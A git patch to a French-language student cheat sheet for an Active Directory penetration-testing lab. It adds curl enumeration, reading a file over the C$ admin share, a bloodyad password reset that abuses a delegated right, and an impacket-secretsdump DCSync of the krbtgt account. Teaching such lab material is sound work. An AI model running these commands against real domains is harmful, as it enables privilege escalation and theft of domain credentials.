From 599cf232047a1167d4a501ecb6faf936e75e7169 Mon Sep 17 00:00:00 2001 From: Mathieu Moran Date: Sat, 24 Oct 2026 00:03:27 -0400 Subject: [PATCH] Student memo: complete the command set Adds the four commands the lab needs that were missing from the cheat sheet: the web entry (curl), reading a file from an admin share, the bloodyad action that exercises a delegated right, and the final DCSync secretsdump. Placeholders only, no target names. --- docs/etudiant.md | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/docs/etudiant.md b/docs/etudiant.md index 6c63ffd..bca83ff 100644 --- a/docs/etudiant.md +++ b/docs/etudiant.md @@ -55,6 +55,8 @@ les deux marchent. Toutes les commandes ci-dessous se lancent depuis Kali. nmap -sn 10.10.10.0/24 nmap -sV -p- 10.10.10.10 nxc smb 10.10.10.0/24 +curl -s http://10.10.10.20/ | head -20 +curl -s http://10.10.10.20/public/ ``` ### SMB et annuaire @@ -95,6 +97,9 @@ de mode donne « no hashes loaded », pas une erreur explicite. nxc winrm 10.10.10.31 -d norbourg.lab -u '' -p '' evil-winrm -i 10.10.10.31 -u '' -p '' nxc smb 10.10.10.10 -d norbourg.lab -u '' -p '' --shares + +# lire un fichier sur une machine où le compte est administrateur +smbclient //10.10.10.10/C$ -U 'NORBOURG\%' -c 'get \' ``` ### Cartographie et permissions @@ -106,6 +111,9 @@ bloodhound-python -d norbourg.lab -u '' -p '' -ns 10.10.10.10 -c all # même question sans BloodHound : sur quoi ce compte a-t-il des droits ? bloodyad -d norbourg.lab -u '' -p '' -H 10.10.10.10 get writable bloodyad -d norbourg.lab -u '' -p '' -H 10.10.10.10 get membership '' + +# exercer un droit de modification, par exemple réinitialiser un mot de passe +bloodyad -d norbourg.lab -u '' -p '' -H 10.10.10.10 set password '' '' ``` `-c all` n'est pas décoratif : la collecte par défaut n'inclut pas les listes de permissions @@ -114,6 +122,13 @@ bloodyad -d norbourg.lab -u '' -p '' -H 10.10.10.10 get membership ' L'interface BloodHound n'est pas installée et n'est pas nécessaire : le collecteur produit des fichiers JSON lisibles, et `bloodyad get writable` répond directement à la question. +### Preuve finale + +```bash +# réplication de l'annuaire depuis un compte qui en a le droit (DCSync) +impacket-secretsdump norbourg.lab/:''@10.10.10.10 -just-dc-user krbtgt +``` + ## Rappel terminal Si vous n'êtes pas à l'aise en ligne de commande :